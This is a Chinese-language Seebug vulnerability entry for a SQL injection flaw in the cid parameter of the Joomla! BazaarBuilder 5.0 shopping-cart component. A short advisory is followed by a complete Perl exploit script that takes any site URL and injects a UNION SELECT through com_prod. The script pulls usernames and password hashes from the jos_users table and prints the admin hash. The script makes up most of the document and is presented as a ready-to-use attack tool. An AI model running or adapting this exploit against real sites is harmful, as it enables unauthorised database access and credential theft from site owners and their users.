Joomla! BazaarBuilder组件cid参数SQL注入漏洞

2009-02-02T00:00:00
ID SSV:4689
Type seebug
Reporter Root
Modified 2009-02-02T00:00:00

Description

BUGTRAQ ID: 33380

Joomla!是一款开放源码的内容管理系统(CMS)。

Joomla! BazaarBuilder组件的实现上存在输入验证漏洞,远程攻击者可能利用此漏洞非授权操作数据库。

BazaarBuilder组件没有充分检查过滤用户请求中的cid参数数据,攻击者可以在数据中插入精心构造的数据从而非授权操纵数据库。

SureNames Internet Solution BazaarBuilder 5.0 厂商补丁:

SureNames Internet Solution

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

<a href=http://www.bazaarbuilder.com/ target=_blank rel=external nofollow>http://www.bazaarbuilder.com/</a>

                                        
                                            
                                                #!/usr/bin/perl -w
#Joomla component: BazaarBuilder Shopping Cart Software v.5.0 sql injection#
########################################
#[+] Author : XaDoS
#[+] Contact me: www.securitycode.it // xados [at] hotmail [dot] it
#[+] Greetz : Plucky - Str0ke - GsC - boom3rang - My girl ;-)
#[+] Module_Name: BazaarBuilder Ecommerce Shopping Cart Software v. 5.0
#[+] Script_Name: Joomla
#[+] Dork: find it XD
########################################
print &quot;\t\t-------------------------------------------------------------\n\n&quot;;
print &quot;\t\t|                  ---||&gt; X:A:D:O:S &lt;||---                    |\n\n&quot;;
print &quot;\t\t-------------------------------------------------------------\n\n&quot;;
print &quot;\t\t|Joomla Module com_prod &lt;= Remote SQL Injection Vuln|\n\n&quot;;
print &quot;\t\t| XaDoS ~ www.securitycode.it |\n\n&quot;;
print &quot;\t\t-------------------------------------------------------------\n\n&quot;;
use LWP::UserAgent;
print &quot;\nEnter the url of vuln site[http://wwww.example.com]: &quot;;
chomp(my $target=&lt;STDIN&gt;);
$column_name=&quot;concat(username,char(58),password)&quot;;
$table_name=&quot;jos_users&quot;;
$b = LWP::UserAgent-&gt;new() or die &quot;Could not initialize browser\n&quot;;
$b-&gt;agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target . &quot;/index.php?option=com_prod&amp;task=products&amp;cid=-9999%20union%20all%20select%201,2,3,&quot;.$column_name.&quot;,5,6,7,8,9,10,11,12,13,14,15,16,17,18%20from/**/&quot;.$table_name.&quot;+/*+&quot;;
$res = $b-&gt;request(HTTP::Request-&gt;new(GET=&gt;$host));
$answer = $res-&gt;content; if ($answer =~/([0-9a-fA-F]{32})/){
print &quot;\n[+] Admin Hash : $1\n\n&quot;;
print &quot;||&gt; Exploit done! ;-) &lt;||\n\n&quot;;
}
else{print &quot;\n||&gt; Exploit failed! :-( &lt;||\n&quot;;
}